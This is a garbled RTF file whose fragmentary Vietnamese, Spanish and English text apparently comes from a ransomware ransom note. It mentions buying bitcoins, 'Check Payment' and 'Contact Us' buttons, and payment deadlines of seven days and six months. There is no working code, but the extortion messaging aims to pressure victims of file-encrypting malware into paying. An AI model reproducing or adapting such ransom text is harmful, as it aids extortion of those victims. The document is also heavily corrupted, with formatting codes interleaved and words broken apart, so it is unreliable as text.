\\hich\\af31502\\dbch\\af31505\\loch\\f31502 c x}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 c\\'f3\\loch\\f31502 \\hich\\f31502 c\\'e1\\loch\\f31502 c s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 How to buy }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoins>. \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af1\\afs22 \\ltrch\\fcs0 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid13056521\\charrsid16268367 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'bf \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Chuy}{ \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Mit \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31528\\fs28\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31529\\fs28\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'d7\\'f2\\'ee \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid13717663\\charrsid6386681 \\af41\\afs21\\alang1025 \\ltrch\\fcs0 \\fs21\\lang1033\\langfe1042\\loch\\af41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 {\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\b\\fs28\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 }{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 -244\\'a1\\'41\ senormstyforlist\\noindnmbrts\\felnbrelev\\nocxsptable\\indrlsweleven\\noafcnsttbl\\afelev\ \\nouicompat \\fet0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i M\\'e1\\loch\\f31502 \\hich\\f31502 y t\\'ed\\loch\\f31502 nh c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 y ra v}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Kh\\'f4\\loch\\f31502 i ph} \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 t\\'f4\\loch\\f31502 i tr}{ \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -225\\'81\\'48}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25105\\'89\\'e4\ \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 -225\\'a1\\'48}{\\rtlch\\fcs1 \\af1\\afs22 \\ltrch\\fcs0 \\b\\fs28\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\expshrtn\\noultrlspc\\dntblnsbdb\\nospaceforul\\formshade\\horzdoc\\dgmargin\\dghspace180\\dgvspace180\\dghorigin1034\\dgvorigin1701\\dghshow1\\dgvshow1 \\expshrtn\\noultrlspc\\dntblnsbdb\\nospaceforul\\formshade\\horzdoc\\dgmargin\\dghspace180\\dgvspace180\\dghorigin1501\\dgvorigin1701\\dghshow1\\dgvshow1 \\expshrtn\\noultrlspc\\dntblnsbdb\\nospaceforul\\formshade\\horzdoc\\dgmargin\\dghspace180\\dgvspace180\\dghorigin867\\dgvorigin1440\\dghshow1\\dgvshow1\\jexpand\\lnongrid \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 t v\\'e0\\loch\\f31502 lo}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c h}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t \\hich\\af31502\\dbch\\af31505\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n tr}{\\rtlch\\fcs1 \\af2 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 n thanh to\\'e1 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 u h\\'f3\\loch\\f31502 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 ng vi r\\'fa \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ng, n\\'f3 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 khuy\\'ea \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i elimin\\'e3 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31528\\dbch\\af31505\\hich\\f31528 \\'e3\\loch\\f31528 \\hich\\f31528 s \\f31502\\fs22\\insrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\f31502\\fs22\\insrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 How to buy bitcoins}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. Mejor hora para consultar: 9:00 am - 11:00 am GMT de lunes a vie\\hich\\af31502\\dbch\\af31505\\loch\\f31502 rnes. \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 gi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 truy c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a m\\'ec\\loch\\f31502 nh, nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31536\\dbch\\af31505\\hich\\f31536 \\'fd\\loch\\f31536 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i gian. Kh\\'f4\\loch\\f31502 \\hich\\f31502 ng ai c\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i m\\'e3\\loch\\f31502 c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i m\\'e3\\loch\\f31502 m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i m\\'e3\\loch\\f31502 \\hich\\f31502 c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 m tra gi\\'e1\\loch\\f31502 hi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n c\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n m\\'e3\\loch\\f31502 \\hich\\f31502 i m\\'e3\\loch\\f31502 i. \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p v\\'e0\\loch\\f31502 o <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af2 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p v\\'e0\\loch\\f31502 o <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us>.}{\\rtlch\\fcs1 \\af2 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p v\\'ec\\loch\\f31502 \\hich\\f31502 ch\\'fa\\loch\\f31502 ng }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ch v}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 m b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ng b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 o r}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 u gi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 u, }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n m\\'e0\\loch\\f31502 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 n \\'f0\\'fd}{\\rtlch\\fcs1 \\af2 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 c\\'e1\\loch\\f31502 c t}{ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 trong 6 th\\'e1\\loch\\f31502 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n t\\'ec\\loch\\f31502 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p tin c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 n trong Bitcoin. \\'d0}{ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ng c\\'e1\\loch\\f31502 ch nh}{ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n trong 7 ng\\'e0\\loch\\f31502 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 tr}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 